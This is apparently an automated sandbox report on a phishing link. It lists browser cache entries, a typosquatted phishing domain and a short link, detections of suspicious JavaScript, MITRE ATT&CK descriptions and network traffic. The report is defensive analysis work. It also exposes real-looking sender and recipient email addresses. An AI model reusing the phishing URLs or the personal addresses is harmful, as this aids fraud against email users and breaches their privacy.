Preview:	@charset "utf-8";*,:after,:before{box-sizing:border-box}body,button,div,fieldset,figure,footer,form,h1,h2,h3,h4,header,html,iframe,label,li,nav,object,p,section,ul{border:none;outline:0;margin:0;padding:0}::-moz-selection{background:#d61f29;color:#fff}::selection{background:#d61f29;color:#fff}html{background:#fff;background:linear-gradient(to bottom,#fff 0,#e6e6e6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);height:100%;position:relative;width:100%}body{background:#fff;background:linear-gradient(to bottom,#fff 0,#e6e6e6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);color:#666;font-family:'Open Sans',Arial,sans-serif;font-size:15px;line-height:24px;font-weight:400;letter-spacing:normal;padding-bottom:120px;min-height:100%}h1{color:#333;font-size:18px;line-height:27px;margin:10px 0 20px}h2{font-size:16px;line-height:24px;margin:0 0 20px}ul{l

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:
MD5:	595E88012A6521AAE3E12CBEBE76EB9E
SHA1:	DA3968197E7BF67AA45A77515B52BA2710C5FC34
SHA-256:	B16E15764B8BC06C5C3F9F19BC8B99FA48E7894AA5A6CCDAD65DA49BBF564793
SHA-512:	FD13C580D15CC5E8B87D97EAD633209930E00E85C113C776088E246B47F140EFE99BDF6AB02070677445DB65410F7E62EC23C71182F9F78E9D0E1B9F7FDA0DC3
Malicious:	false
Reputation:	unknown
Preview:	404 page not found.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16911), with no line terminators
Category:	dropped
Size (bytes):	16911
Entropy (8bit):	5.443480085916589
Encrypted:	false
SSDEEP:
MD5:	829AE5B27D9AA388BD33E07F02798A20
SHA1:	C20F2DD858BB88714100478B100ECF23A72CA421
SHA-256:	E3A3A9520869120B3AA1A938034E5D8122967E38D5ECFD37B4B97A4CE62647D0
SHA-512:	00885CBAB1618BC835FB7A443FA814661099503A7CDA1D30AD5E4715E7D173148C8A1B40DBE207F631E16954DC1DD6CA154D4929C44BA1E2DFF03942AE26C503
Malicious:	false
Reputation:	unknown
Preview:	function __interne__(){}function cif(){for(var r in __interne__(),window)if("function"==typeof window[r]){var n=window[r].toString().toLowerCase();if(-1===n.indexOf("[native code]")&&-1===n.indexOf("__interne__"))return!0}return!1}md5=function(r){var n,o,a,l,c,f,p,s,u;function _(r,n){var o,a,l,c,f;return l=2147483648&r,c=2147483648&n,f=(1073741823&r)+(1073741823&n),(o=1073741824&r)&(a=1073741824&n)?2147483648^f^l^c:o\|a?1073741824&f?3221225472^f^l^c:1073741824^f^l^c:f^l^c}function d(r,n,o,a,l,c,f){return r=_(r,_(_(n&o\|~n&a,l),f)),_(r<<c\|r>>>32-c,n)}function g(r,n,o,a,l,c,f){return r=_(r,_(_(n&a\|o&~a,l),f)),_(r<<c\|r>>>32-c,n)}function C(r,n,o,a,l,c,f){return r=_(r,_(_(n^o^a,l),f)),_(r<<c\|r>>>32-c,n)}function h(r,n,o,a,l,c,f){return r=_(r,_(_(o^(n\|~a),l),f)),_(r<<c\|r>>>32-c,n)}function m(r){var n,o="",a="";for(n=0;3>=n;n++)o+=(a="0"+(a=r>>>8n&255).toString(16)).substr(a.length-2,2);return o}for(__interne__(),n=function(r){for(var n,o=r.length,a=16(((n=o+8)-n%64)/64+1),l=Array(a-1),c=0,f

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 79, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:
MD5:	5DD3352898EE17EFBA20B357D0CCA4BD
SHA1:	4F832E36A03E2C29D55B682985AD4436E98C64A0
SHA-256:	8D97BA14DED5CE3542D24770CD15EA0480622E04E38B93971E55F88D828AC4CA
SHA-512:	59B90693A775AD38D635987E22B8F44C9F614F62D4EF61E223D6FD94B0D79DE7CD1A04DB3106EC5D4F177670CE81CA22248849FFE8CD327F0BBF181423BEA823
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...O.....8(1J....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32915), with no line terminators
Category:	downloaded
Size (bytes):	32915
Entropy (8bit):	5.248079629087054
Encrypted:	false
SSDEEP:
MD5:	B9C918128D594300A4E0240611439A74
SHA1:	08DA04E6068B3FEF9B70B7E689B05F1A1FDCE411
SHA-256:	8F22F067C478666AF71F92EBE9991946DA07D6C8F2C343BB6129D97D27F66737
SHA-512:	21E7DAAE87EA158225BE4D934CDA1C040BEEDD64AF9D41B41EBBDCC0A3BE46AF545D22DC9D57375818C1A3F35EFD87B799418EDD36C87AAC71635574105F3687
Malicious:	false
Reputation:	unknown
URL:	https://m365.eu.vadesecure.com/safeproxy/4.efcb4f36899adf4857d1.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[4],{J66h:function(module,exports,__webpack_require__){var __WEBPACK_AMD_DEFINE_ARRAY__,__WEBPACK_AMD_DEFINE_RESULT__;!function(l,n){module.exports=n(l)}("undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:this,function(global){"use strict";global=global\|\|{};var _Base64=global.Base64,version="2.5.2",buffer;if(module.exports)try{buffer=eval("require('buffer').Buffer")}catch(err){buffer=void 0}var b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",b64tab=function(l){for(var n={},t=0,u=l.length;t<u;t++)n[l.charAt(t)]=t;return n}(b64chars),fromCharCode=String.fromCharCode,cb_utob=function(l){if(l.length<2)return(n=l.charCodeAt(0))<128?l:n<2048?fromCharCode(192\|n>>>6)+fromCharCode(128\|63&n):fromCharCode(224\|n>>>12&15)+fromCharCode(128\|n>>>6&63)+fromCharCode(128\|63&n);var n=65536+1024*(l.charCodeAt(0)-55296)+(l.charCodeAt(1)-56320);return fromCharCode(240\|n>>>18&7)+fromC

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2232), with no line terminators
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.19933353228959
Encrypted:	false
SSDEEP:
MD5:	6C82B9591D45C74072ED9C23CC8F156B
SHA1:	FA77C8816341AF1AA93A73F40ACECF7804CADE1F
SHA-256:	6D1F78FE92F945BE2C15153CD0CE0BA1321E48FAF8931DA6912E47DAADE82C0E
SHA-512:	D86018703155C2008B22C7785EAC1CF128B961C5AEBAF86F29603F796323AA1AFCF6E1D4179B669C88BB84219F8182F3A82DE19A9664ED2D20FE92B281F17F01
Malicious:	false
Reputation:	unknown
Preview:	!function(e){function r(r){for(var n,i,a=r[0],f=r[1],c=r[2],p=0,s=[];p<a.length;p++)i=a[p],o[i]&&s.push(o[i][0]),o[i]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(l&&l(r);s.length;)s.shift()();return u.push.apply(u,c\|\|[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++){var f=t[a];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=i(i.s=t[0]))}return e}var n={},o={0:0},u=[];function i(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.e=function(e){var r=[],t=o[e];if(0!==t)if(t)r.push(t[2]);else{var n=new Promise(function(r,n){t=o[e]=[r,n]});r.push(t[2]=n);var u,a=document.createElement("script");a.charset="utf-8",a.timeout=120,i.nc&&a.setAttribute("nonce",i.nc),a.src=function(e){return i.p+""+({}[e]\|\|e)+"."+{4:"efcb4f36899adf4857d1",5:"1f58102d1016fa6a58a6"}[e]+".js"}(e),u=function(r){a.onerror=a.onload=null,clearTimeout(f);var t=o[e];if(0!==t){if(t){var n=r&&

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.21287868934203
Encrypted:	false
SSDEEP:
MD5:	48CEF5284EEBCF3B1380D6710357990C
SHA1:	B381F3445730FEFD66485A85E761CF6323D59AD9
SHA-256:	CDFC8444656AA534028FB59331119A15CE73E5129435B877ED8AA11A65C91FA7
SHA-512:	419F94B95EE23EE0AD5DEB4C1580C6A0C3E39C04D81E21DD9BCB6BC68823788F6A5D80B4BBB8ECBB52349010418D1F5910791C6C091299BD6D8432782DA224DA
Malicious:	false
Reputation:	unknown
Preview:	{. "serviceUrl": "http://localhost:4220".}.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	4.6547645458915685
Encrypted:	false
SSDEEP:
MD5:	C7A394F950B4464C3333972349CBEA1E
SHA1:	38149F545C42265641AF887951C02AC98C2BBDA6
SHA-256:	7E77BE3B81880130E86E5025825504F4AC6608C3BCB9EDCB92342ED01BDA52E9
SHA-512:	29493B2A3CB0D787841A3FFFE46E068F57F80766951452EDD61398096FED52606C1981456AFE4D1EB480AED5F9A55C9E7AA3FB571987B30BC7C5380121C4337D
Malicious:	false
Reputation:	unknown
Preview:	{. "CANT_FIND_WAY_BACK": "Can't find your way back?",. "clean": "The site is clean.",. "cleanRedirect": "You will be redirected.",. "exitPage": "Leave the page",. "followTheTrainingClass": "Stop falling for phishing",. "goAnyway": "Proceed to the page anyway",. "goWebSite": "Proceed to web page with caution",. "ifYouBelieveThisWebsiteIsLegitimate": "If you believe this website is legitimate, please proceed to web page with caution.",. "internalError": "Internal error, retry later.",. "letsTakeThePhishingClass": "Train yourself",. "PAGE_NOT_FOUND": "Page not found",. "phishing": "The web page has been identified as PHISHING.",. "phishingContent": "Phishing is the attempt to acquire sensitive information such as usernames, passwords, and credit card details (and sometimes, indirectly, money), often for malicious reasons. We advise you do not visit the page.",. "running": "Security analysis in progress.",. "suspicious": "Warning: suspiscious li

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	559431
Entropy (8bit):	5.234425173350185
Encrypted:	false
SSDEEP:
MD5:	AC8EDEC8F1D8160FF62ACA4822330255
SHA1:	C7882AE94C0850C9FB0108002FE4C71001B51D08
SHA-256:	89F871A93A4F7BF7DB98650303C08884AA602133455AC7B2E1EE199C4617C168
SHA-512:	EB7AFA78A25E98777355CC75BF1BE7A97DABAF0141EC5C813A4B952599E4F13E01A99FAABD5867478DC25D1A17E0A0EDE5B63BD2BA70C6371A0F7FABF629D333
Malicious:	false
Reputation:	unknown
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[1],{"+tJ4":function(t,e,n){"use strict";n.d(e,"a",function(){return r});var r=function(t){return function(e){for(var n=0,r=t.length;n<r&&!e.closed;n++)e.next(t[n]);e.closed\|\|e.complete()}}},"+umK":function(t,e,n){"use strict";function r(){}n.d(e,"a",function(){return r})},"/WYv":function(t,e,n){"use strict";function r(t){return t&&"function"!=typeof t.subscribe&&"function"==typeof t.then}n.d(e,"a",function(){return r})},0:function(t,e,n){t.exports=n("zUnb")},"0/uQ":function(t,e,n){"use strict";var r=n("6blF"),o=n("/WYv"),i=n("2ePl"),a=n("xTla");var s=n("En8+");var u=n("IUTb"),c=n("pugT"),l=n("S5XQ");var p=n("u67D");var f=n("JcRv");var h=n("Fxb1");function d(t,e){if(!e)return t instanceof r.a?t:new r.a(Object(h.a)(t));if(null!=t){if(function(t){return t&&"function"==typeof t[a.a]}(t))return function(t,e){return e?new r.a(function(n){var r=new c.a;return r.add(e.schedule(function(){var o=t[a.a]();r.add(o.subscribe({next:function(t){r.a

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1021)
Category:	downloaded
Size (bytes):	1785
Entropy (8bit):	5.672299180050318
Encrypted:	false
SSDEEP:
MD5:	A07497887C9BE7AC71F55497FBAD1785
SHA1:	20EB1A1B0B35C0709C7085B18A0BE144A31A825F
SHA-256:	E7FB48D97FA825FBE99677A9CBDA2D22512AF379E58BD76F32D5AA7B39F01343
SHA-512:	D450DC1B4CE3B3BF039BFEE4B7BAAFF85FD873A988C5C601A454C55CE29C242005751C0EFCDD121A156E6A3B14A7337459F803627ACE7134088475612DE4F6C1
Malicious:	false
Reputation:	unknown
URL:	https://m365.eu.vadesecure.com/safeproxy/v4?f=P2kPCMrad6wbkDicjo9-gccMP9mht8icnqc8BSBVdA_Y7h7opqWdVmIuu6aydhxUqmDN6F6EdXlLyB2l0qIMlQ&i=5-xWt8no16hszAEjWVJq7eaI9aJqiiKo6Nhcmhm-VGlgucrJV_O22YeSLcAbYkmTq4CwxD0j9z8vSmI-321xIA&k=xkCw&r=pXE3RoNwGsBbFpqq5275TB1w64v1huZFRPWjs9IU8PkouXkx5H5uI3MDfotj5UVm&s=fdffd7ecf746462b0c7628930ed8d07f470444f4a342766d2b3d92d5b7331db4&u=https%3A%2F%2Ftiny.pl%2Fc1rp2m9f
Preview:	<!doctype html>.<html lang="en" data-logo="images/logo-office.png">.<head>. <title id="text-title">Anti-phishing analysis</title>. <base href="https://m365.eu.vadesecure.com/safeproxy/">. <meta charset="UTF-8">. <meta name="vsc-antiphishing" content="1.0">. <meta name="viewport" content="width=device-width, initial-scale=1">. <link rel="icon" href="./favicon.ico" />.<link rel="stylesheet" href="styles.16be3c9519762a3240e8.css"></head>.<body data-users="{"context":{"emailFrom":"mariehelene.orefici@bourgognefranchecomte.fr","emailTo":"architectes@afaaland.com","login":"484909bb-0ad2-42ec-bb18-68172561fd40","time":"","action":"","IIP":{"url":"https://tiny.pl/c1rp2m9f","result":""}},"mode":"protection","prefix":"","logo":"images/logo-office.png","header":"","footer":"&#34

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	5316
Entropy (8bit):	5.11748772056844
Encrypted:	false
SSDEEP:
MD5:	776B2BD1CD566295034971A14FE80D20
SHA1:	247BF3960EF481D0BD127CCFA962CEFC680B9D50
SHA-256:	08D7C39E3772D4A8FAA3238C7E03DDC11CE28E469F815911C153178FB4BD9E04
SHA-512:	CCDC9ABFB18B6B0080C530C3B03A90E8C7901E38FACDD6F3A0BC747A95D3254F822A3861AFF88E135B11C1EA5B4AF1EF81C49670F5C01DE794A5566B6DB6C4D1
Malicious:	false
Reputation:	unknown
URL:	https://m365.eu.vadesecure.com/safeproxy/images/load.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 25.4.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Calque_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 417.6 258.9" style="enable-background:new 0 0 417.6 258.9;" xml:space="preserve">.<style type="text/css">...st0{fill:#FFFFFF;stroke:#3D505B;stroke-miterlimit:10;}...st1{opacity:0.38;fill:#C3D2D8;enable-background:new ;}...st2{fill:#C3D2D8;stroke:#3D505B;stroke-miterlimit:10;}...st3{fill:none;stroke:#3D505B;stroke-miterlimit:10;}...st4{fill:#6A00F4;stroke:#5500C3;stroke-miterlimit:10;}...st5{fill:#A549FF;stroke:#5500C3;stroke-miterlimit:10;}...st6{fill:#6A00F4;stroke:#5500C3;stroke-width:1;stroke-miterlimit:9.9996;}...st7{fill:#FFFFFF;}.</style>.<g id="layer_1">..<rect id="Paper" x="125.1" y="63.2" class="st0" width="165.6" height="195.2"/>..<circle class="st1" cx="137.4" cy="73.4" r="2.8"/>..<circle class="st1"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.8268748818646396
Encrypted:	false
SSDEEP:
MD5:	765ABF48D94D963AF98C72AE7AB27275
SHA1:	9D8F91DA07213E3E4E382EDEFDC2AD6CFBB97476
SHA-256:	A8409C015310465A15DCD979EB47968313A5E4487C61A62C6E835D9F03AB042C
SHA-512:	EF92FF333343932AD8D9A96818F95A174F6D24B32A4B917CEB167047CFBE70FF3CC980B8E8A59591E0ECA7F0387AE26A4887E861E81DF4B991EAF8A9A640AA75
Malicious:	false
Reputation:	unknown
URL:	https://ar24consultation.wetransssecudoc.com/MXq8HKfy-eg5TXl6di/?slidercaptchascript
Preview:	Unauthorized access

Static File Info

⊘No static file info

Source: Yara match	File source: 2.10.i.script.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML

Source: 2.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ar24consultation.wetransssecudoc.com/MXq8H... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. While the intent of the script is not entirely clear, the combination of these factors suggests a medium to high risk level that requires further investigation.
Source: 2.8.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ar24consultation.wetransssecudoc.com/MXq8H... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. While the intent of the script is not entirely clear, the combination of these factors suggests a medium to high risk level that requires further investigation.

Source: URL	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://ar24consultation.wetransssecudoc.com
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://ar24consultation.wetransssecudoc.com

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 95

Chrome Cache Entry: 99

Static File Info